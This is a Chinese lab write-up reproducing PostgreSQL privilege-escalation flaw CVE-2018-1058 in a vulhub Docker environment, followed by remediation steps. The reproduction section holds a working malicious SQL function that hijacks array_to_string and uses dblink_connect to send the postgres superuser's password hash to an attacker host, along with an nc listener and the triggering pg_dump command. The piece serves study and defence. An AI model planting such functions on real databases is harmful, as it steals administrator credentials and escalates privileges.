PostgreSQL 提权漏洞复现(CVE-2018-1058)

#PostgreSQL 提权漏洞(CVE-2018-1058)#

一、漏洞简介

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

二、漏洞影响

影响版本

9.3到10

三、产生原因

PostgreSQL7.3版本之后,默认情况下,当一个用户创建一个数据库时,PostgreSQL会创建一个叫做public的模式。默认情况下,所有的对象都会被创建到这个模式下。所以SELECT * FROM a; 就等价于 SELECT * FROM public.a;

如果不更改配置信息,任何用户都可以在public模式下创建对象。名字相同的对象可以在相同数据库的不同模式下存在。如果出现这种情况,而且没有指定特定的模式和对象(例如schema.object),那么PostgreSQL会基于search_path的设置来决定那个对象会被使用。

在该情况下,一个恶意用户可能会植入一个函数,它的功能是当被超级用户执行时,将更大的权限赋给这个恶意用户。

四、复现过程

docker 靶机:192.168.111.137

kali攻击机 :192.168.111.143

docker搭建靶场环境

docker-compose up -d

查看镜像是否启动成功

docker ps

在这里插入图片描述

用攻击机登录postgreSQL,账号vulhub,密码vulhub

psql --host 192.168.111.137 --username vulhub

在这里插入图片描述

执行下列语句后退出

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.111.143 port=8888 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

在这里插入图片描述

此时我们已经留下了"后门",然后在攻击机上监听8888端口

nc lvvp 8888

在这里插入图片描述

等待超级用户触发我们留下的"后门"即可,接下来在靶机上用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。

docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

执行上述命令的同时,“后门”已被触发。

在这里插入图片描述

收到了postgres用户经md5加密后的密码

五、修复方案

1、不允许用户在public模式下创建新的对象。
可以用超级用户,在所有的数据库中运行下面这条命令:

REVOKE CREATE ON SCHEMA public FROM PUBLIC;

这会阻止所有的非超级用户在public模式下创建对象。

2、为数据库用户设置默认的search_path。

一个超级用户可以向系统中的每个用户发出这条命令,来将public模式从用户默认的search_path中移除:

ALTER ROLE username SET search_path = "$user";

3、在PostgreSQL的配置文件中设置默认的search_path。

也可以在postgresql.conf这个配置文件中将public模式从用户默认的search_path中移除。

六、参考链接

CVE-2018-1058简介

PostgreSQL 提权漏洞 CVE-2018-1058 漏洞复现

PostgreSQL从未授权到高权限命令执行

标签

PostgreSQL、CVE-2018-1058、提权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值